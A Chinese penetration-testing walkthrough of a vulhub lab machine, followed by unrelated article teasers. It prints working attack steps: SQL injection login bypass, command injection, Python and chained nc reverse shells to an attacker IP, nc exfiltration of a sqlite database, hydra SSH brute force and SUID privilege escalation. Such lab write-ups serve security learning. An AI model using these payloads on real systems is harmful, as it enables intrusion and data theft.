【打靶】vulhub打靶系列(一)—小白视野的渗透测试
主机探测
arpscan
arp-scan -l

另一种方法arping
for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done
注意这个必须是root权限

端口探测
nmap
nmap -p- -sV -T4 192.168.56.104

发现8080端口
web测试
访问下web页面

1、通过逻辑点绕过
发送到xia_sql发现可能存在sql注入

导入sql的fuzz字典跑包

发现返回包有异常,观察这些长度异常的payload,可以判断出是双引号自动闭合

那就直接” or 1 = 1 -- q绕过
2、爆破绕过
爆破许可证(相当于就是密码么):password

进一步测试
登入到这个页面之后进行观察:

发现是输入文件名进行扫描,相当于文件名起到一个选择扫描方式的作用,拼接管道符看能否是在bash或者temtrol上执行的
执行 hello | ls
页面回显,尝试监听进而更方便的执行指令

尝试监听
1、通过自带的python反弹shell
攻击机启动监听,反弹shell时候可以用网上烂大街的python反弹shell(因为前期通过nmap扫描发现有python2的环境)
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.128",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
2、通过nc反弹shell【看运气,看人服务器上有无nc】
攻击机启动4444端口的监听
nc -nvlp 4444
web页面输入
hello|nc 192.168.56.102 4444 -e /bin/sh# hello 使页面正常运行 # 192.168.56.102 攻击机的ip # -e /bin/bsh 反弹回服务器的shell # 注意最后一段,我们不是单纯的为了监听,而是为了让他反弹shell过来

但实际执行之后发现4444未能接受到任何信息,说明很有可能是nc版本不同导致的-e参数无效,有这个猜想之后可以直接去掉-e看看监听是否有问题
hello|nc 192.168.56.102 4444
发现监听没问题,说明我们的猜想是对的
接下来通过串联nc的方式来代替-e参数反弹shell的问题
输入
hello |nc 192.168.56.102 4444 |/bin/bash |nc 192.168.56.102 3333# hello 确保web页面正常执行 # nc 192.168.56.102 4444监听攻击机的4444端口【建立连接】 # /bin/bash 将所有的指令传递给/bin/bash解析(管道符实现的)【传递指令并执行】 # nc 192.168.56.102 3333监听攻击机的3333端口【返回指令执行的结果】 # 【确保运行】|【建立连接】|【接受指令并解析】|【返回结果】
因此攻击机需要开启两个监听,4444用于建立连接,3333用于查看执行结果
成功监听

发现是scanner,权限不够,接下来的所有操作都是为了提权到root权限


主机信息收集
执行ls -l获取更多的信息,查看哪些是可以利用的文件或工具

看见root权限下有执行权限的两个文件
其实可以逐个看下
app.py

看下数据库文件

发现是sqlite3 的数据库文件(本地的数据库文件),看看有没有sqlite环境从而查看下数据库文件内的机密信息

转存数据库文件
在靶机开启nc将database的内容传给攻击机的5555端口
nc -nvlp 192.168.56.102 5555 # 连接攻击机的5555端口监听,并将database.sql的内容传递给攻击机的5555端口
在kali开启5555端口监听,将监听到的内容传递给db.sql中
nc 5555 > db1.sql # 将nc的5555监听到的内容全部传给db.sql中
这里需要注意一个点,过一小会主动断掉连接,因为文件小,已经传完了,但没有回显所以你不知道

查看数据库
# sqlite3 --进入sqlite > .open db1.sql --打开db1文件 > .database -- 进入数据库 > .dump --dump下来

有了数据库密码,结合下用户
ssh爆破
监听上使用cat /etc/passwd|grep /bin/bash 获取到账号,结合这个数据库的密码尝试下ssh爆破(利用九头蛇)

hydra -l user -P password.txt ssh://192.168.56.104
执行后发现全部失败,爆破失败

进一步信息收集
向上跳一级查看其他文件

找见一个s权限文件,尝试通过这个文件间接执行root权限下的指令
SUID提权
cat update_cloudav.c


通过分析代码可以设想,当我们执行update_cloudav时必须跟上一个参数,尝试下a参数,命令行输入
./update_cloudav a

日志报错,但不清楚这个日志报错会对程序或者提权有怎样的作用,会不会影响后续提权等
所以正常尝试就好
依旧采用nc串联的方式尝试利用root权限
输入
./update_cloudav "a|nc 192.168.56.102 555|/bin/bash|nc 192.168.56.102 666"
并在攻击机开启监听(555和666端口的监听,指令依旧是nc -nvlp [端口号])

成功提权至root权限

小bug:刚开始是监听向5555和6666但6666的监听不到,5555也是三次的两次监听不到,所以这种情况下换下端口就行!
相关文章:
【打靶】vulhub打靶系列(一)—小白视野的渗透测试
主机探测 arpscan arp-scan -l 另一种方法arping for i in $(seq 1 200); do sudo arping -c 1 192.168.56.$i; done 注意这个必须是root权限 端口探测 nmap nmap -p- -sV -T4 192.168.56.104 发现8080端口 web测试 访问下web页面 1、通过逻辑点绕过 发送到xia_sq…...
kafka3.X集群安装(不使用zookeeper)
参考: 【kafka专栏】不用zookeeper怎么安装kafka集群-最新kafka3.0版本 一、kafka集群实例角色规划 在本专栏的之前的一篇文章《kafka3种zk的替代方案》已经为大家介绍过在kafka3.0种已经可以将zookeeper去掉。 上图中黑色代表broker(消息代理服务)&…...
2023 年 的 DBA 有哪些变化?
作者:Craig S. Mullins 数据库专家,IBM 优化冠军,DB2 金牌顾问以及 IDUG 名人堂成员,数据库类畅销书作者,著有《DB2 Developers Guide》、《Database Administration: The Complete Guide to DBA Practices & Pro…...
vs2022 使用git同步报错以及解决每次推送要输入密码问题
1.使用 git GUI工具,例如:TortoiseGit ,把全局配置文件这样设置一下 设置全局.config ,这样即可。 [credential] helper store 2.如果推送代码或拉取代码一直失败,在当前的仓库下面,使用以下命令来重置一下密码 git …...
有哪些适用于 Windows 的PDF 阅读器?免费 PDF 阅读器清单
探索适用于 Windows 10 和 11 的最佳 PDF 阅读器 适用于 Windows 10 和 Windows 11 的最佳 PDF 阅读器让您可以在台式计算机上查看和共享文档。 最好的PDF 编辑器和免费的 PDF 编辑器配备了先进的工具,可以跨不同的操作系统工作。但是,当您只需要查看和…...
避雷!新增2本期刊被标记为「On Hold」,1区TOP刊仍在调查中!
近期小编在Master Journal List上查询期刊时偶然发现,又有2本期刊被科睿唯安标记为「On Hold」! 这2本期刊分别为MIGRATION LETTERS和REVISTA DE GESTAO E SECRETARIADO-GESEC. 此外还有6本期刊被标记为「On Hold」,目前共计8本期刊被「On …...
iOS 配置通用链接(Universal Link)服务端和开发者后台都配置好了,还是跳转不到App
目录 一、什么是 Universal Link? 1.背景介绍 2.特点 3.运行机制原理&流程图 二、配置教程 1.第一步:开启 Associated Domains 服务 1.1 开通 Associated Domains 2.第二步:服务器配置 apple-app-site-association(AAS…...
【环境】Linux下Anaconda/ Miniconda安装+百度Paddle环境搭建+Cudnn(3090显卡+CUDA11.8+cudnn8.6.0)
清华源帮助链接:https://mirror.tuna.tsinghua.edu.cn/help/anaconda/ 下载链接:https://mirrors.tuna.tsinghua.edu.cn/anaconda/miniconda/ 其他深度学习环境相关博文:【stable-diffusion】4090显卡下dreambooth、lora、sd模型微调的GUI环境…...
【Python机器学习】零基础掌握AdaBoostRegressor集成学习
有没有经历过这样的状况:需要预测未来房价走势,但传统的预测方法并不总是准确? 房价预测一直是人们关注的热点话题,无论是房产商、购房者,还是政府,都需要准确地知道未来房价的走势。那么,有没有一种更加精准、稳定的预测方法呢?答案是有的——AdaBoost Regressor算法…...
各种添加路由的方法
Linux 篇: ipv4: #添加到主机的路由 # route add –host 192.168.168.110 dev eth0 # route add –host 192.168.168.119 gw 192.168.168.1 #添加到网络的路由 # route add –net IP netmask MASK eth0 # route add –net IP netmask MASK gw IP # route add –n…...
MySQL外键
目录 一.外键 1.表与表之间建立关系 2.什么是外键 3.一对多关系 4.多对多关系 (1)建表会遇到的问题 (2)解决循环建表的问题 5.一对一关系、 6.小结 二.多表查询 1.数据准备 2.多表查询案例 (1)…...
自制数据库迁移工具-C版-02-HappySunshineV1.1-(支持Gbase8a)
目录 一、环境信息 二、简述 三、升级点 四、支持功能 五、安装包下载地址 六、配置参数介绍 七、安装步骤 1、配置环境变量 2、生效环境变量 3、检验动态链接是否正常 4、修改配置文件MigrationConfig.txt 八、运行效果 一、环境信息 名称值CPUIntel(R) Core(TM) i…...
k8s创建pod-affinity亲和性时报错解决办法
1.如下报错 Error from server (BadRequest): error when creating “pod-required-affinity-demo-2.yaml”: Pod in version “v1” cannot be handled as a Pod: json: cannot unmarshal string into Go struct field LabelSelectorRequirement.spec.affinity.podAffinity.re…...
基于边缘智能网关的储能系统安全监测管理方案
“储能系统充电”是配套新能源汽车产业发展的重要应用之一。得益于电池技术的发展,新能源汽车正逐步迈入快充时代,由于在使用快速充电桩时,可能导致用电峰值负荷超过电网的承载能力,对于电网的稳定性和持续性会有较大影响…...
大数据Flink(一百零一):SQL 表值函数(Table Function)
文章目录 SQL 表值函数(Table Function) SQL 表值函数(Table Function) Python UDTF,即 Python TableFunction,针对每一条输入数据,Python UDTF 可以产生 0 条、1 条或者多条输出数据,此外,一条输出数据可以包含多个列。比如以下示例,定义了一个名字为 split 的Pyt…...
内核进程初始化和创建
task_struct 1.进程的状态 分时技术进行多进程调度 重点:进程的创建是如何的? linux在初始化的过程中那个会进行0号进程的创建,fork sched_init(); 做了什么 内核态 不可抢占 用户态 可以抢占 move_to_user_mode(); 把内核状态切换到…...
【进程概念④】:进程地址空间(虚拟内存与物理内存)
【进程概念④】:进程地址空间(虚拟内存与物理内存) 一.进程地址空间二.分页与虚拟地址①.what②.how③.why 三.页表细节①.标志位②.缺页中断 四.总结意义 一.进程地址空间 你觉得我们代码中写的数据都在哪存储着呢? 在内存里存着࿰…...
C语言内存四分区
四个区域:代码区,全局区,栈区,堆区 ①代码区 存放所写代码,二进制内容 ②全局区(又分data区和bss区) 存放全局变量,静态变量,常量 data区:已经初始化的全局变…...
数据可视化报表分享:区域管理驾驶舱
在零售数据分析中,区域管理驾驶舱报表是用来分析企业运营数据,以制定销售策略和提高利润。因此这张报表需要整合大量数据,数据整合、分析、指标计算的工作量极大,在讲究高效率、高度及时性的大数据时代,BI数据可视化分…...
解决pip安装包后但是Pycharm检测不到
首先要知道python找包的原理:原理 之后把一下代码打印一下: import sys print(sys.executable)# /usr/bin/python2 print(sys.path)# [/usr/lib/python2.7, /usr/lib/python2.7/dist-packages, /usr/local/lib/python2.7/dist-packages] print(sys.prefi…...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中,时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志,到供应链系统的物流节点时间戳,时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库,其日期时间类型的…...
SCAU期末笔记 - 数据分析与数据挖掘题库解析
这门怎么题库答案不全啊日 来简单学一下子来 一、选择题(可多选) 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘:专注于发现数据中…...
CentOS下的分布式内存计算Spark环境部署
一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架,相比 MapReduce 具有以下核心优势: 内存计算:数据可常驻内存,迭代计算性能提升 10-100 倍(文档段落:3-79…...
(二)原型模式
原型的功能是将一个已经存在的对象作为源目标,其余对象都是通过这个源目标创建。发挥复制的作用就是原型模式的核心思想。 一、源型模式的定义 原型模式是指第二次创建对象可以通过复制已经存在的原型对象来实现,忽略对象创建过程中的其它细节。 📌 核心特点: 避免重复初…...
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...
蓝桥杯 冶炼金属
原题目链接 🔧 冶炼金属转换率推测题解 📜 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V,是一个正整数,表示每 V V V 个普通金属 O O O 可以冶炼出 …...
IP如何挑?2025年海外专线IP如何购买?
你花了时间和预算买了IP,结果IP质量不佳,项目效率低下不说,还可能带来莫名的网络问题,是不是太闹心了?尤其是在面对海外专线IP时,到底怎么才能买到适合自己的呢?所以,挑IP绝对是个技…...
Chrome 浏览器前端与客户端双向通信实战
Chrome 前端(即页面 JS / Web UI)与客户端(C 后端)的交互机制,是 Chromium 架构中非常核心的一环。下面我将按常见场景,从通道、流程、技术栈几个角度做一套完整的分析,特别适合你这种在分析和改…...
C++实现分布式网络通信框架RPC(2)——rpc发布端
有了上篇文章的项目的基本知识的了解,现在我们就开始构建项目。 目录 一、构建工程目录 二、本地服务发布成RPC服务 2.1理解RPC发布 2.2实现 三、Mprpc框架的基础类设计 3.1框架的初始化类 MprpcApplication 代码实现 3.2读取配置文件类 MprpcConfig 代码实现…...
Mysql故障排插与环境优化
前置知识点 最上层是一些客户端和连接服务,包含本 sock 通信和大多数jiyukehuduan/服务端工具实现的TCP/IP通信。主要完成一些简介处理、授权认证、及相关的安全方案等。在该层上引入了线程池的概念,为通过安全认证接入的客户端提供线程。同样在该层上可…...
